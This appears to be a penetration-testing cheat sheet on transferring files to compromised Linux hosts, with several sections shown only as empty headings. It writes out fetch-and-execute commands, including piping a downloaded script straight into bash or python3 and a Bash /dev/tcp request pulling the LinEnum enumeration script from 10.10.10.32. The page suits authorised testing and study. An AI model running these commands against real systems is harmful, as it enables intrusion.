Linux Transfers

wget

wget https://example.com/LinEnum.sh -O /tmp/LinEnum.sh

curl

curl -o /tmp/LinEnum.sh https://example.com/LinEnum.sh

Fileless (Pipe to Interpreter)

curl https://example.com/LinEnum.sh | bash
wget -qO- https://example.com/script.py | python3

Bash /dev/tcp (No curl/wget)

Requires Bash 2.04+ compiled with --enable-net-redirections.

exec 3<>/dev/tcp/10.10.10.32/80
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
cat <&3

Base64 (No Network)

On attacker:

On target:


Uploads — curl to Python uploadserver

Uploads — Web Server on Compromised Host

Start a web server on the target and download from your attacker box:


SCP (SSH)


OpenSSL Encrypted Transfer

OpenSSL File Encryption

Use a strong unique password per engagement.

Last updated